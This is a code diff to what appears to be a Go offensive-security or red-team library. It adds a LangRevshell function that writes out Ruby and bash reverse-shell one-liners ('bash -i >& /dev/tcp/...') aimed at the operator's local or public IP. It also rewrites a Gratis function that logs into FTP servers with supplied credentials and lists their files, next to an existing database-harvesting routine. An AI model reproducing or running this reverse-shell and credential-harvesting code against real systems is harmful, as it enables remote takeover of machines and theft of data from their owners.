@@ -21,6 +21,7 @@ import (
2121 "github.com/fatih/color"
2222 "github.com/GeertJohan/yubigo"
2323 _ "github.com/go-sql-driver/mysql"
24+ "github.com/secsy/goftp"
2425 "github.com/ztrue/tracerr"
2526)
2627
@@ -115,6 +116,7 @@ func HarvestDB(ip, username, password string, port int){
115116 }
116117}
117118
119+ // Lists remote SQL databases
118120func ListDB (db * sql.DB , tables bool ) []string {
119121 res , err := db .Query ("SHOW DATABASES" )
120122 if tables {
@@ -130,9 +132,38 @@ func ListDB(db *sql.DB, tables bool) []string {
130132 return result
131133}
132134
133- // Ta funkcja wpierdala gratisa na port 21
134- func Gratis (ip , username , password string ) {
135+ // Generates a reverse shell in a given language to the current machine on arbitrary port
136+ func LangRevshell (language string , port int , global bool ) string {
137+ reverse_addr := GetLocalIP ()
138+ if (global ){
139+ reverse_addr = GetGlobalIP ()
140+ }
141+ rshell := ""
142+ switch (language ){
143+ case "rb" :
144+ rshell = F ("require 'socket';spawn(\" sh\" ,[:in,:out,:err]=>TCPSocket.new(\" %s\" ,%d))" , reverse_addr , port )
145+ case "sh" :
146+ rshell = F ("bash -i >& /dev/tcp/%s/%d 0>&1" , reverse_addr , port )
147+ }
148+ return rshell
149+ }
135150
151+ // Ta funkcja wpierdala gratisa na FTP
152+ func Gratis (ip , username , password string , port int ) {
153+ config := goftp.Config {
154+ User : username ,
155+ Password : password ,
156+ ConnectionsPerHost : port ,
157+ Timeout : 20 * time .Second ,
158+ Logger : os .Stderr ,
159+ }
160+ connection , err := goftp .DialConfig (config , ip )
161+ Check (err )
162+ listing , err := connection .ReadDir ("/" )
163+ Check (err )
164+ for _ , file := range listing {
165+ //file.Name()
166+ }
136167}
137168
138169// Verifies Yubico OTP
0 commit comments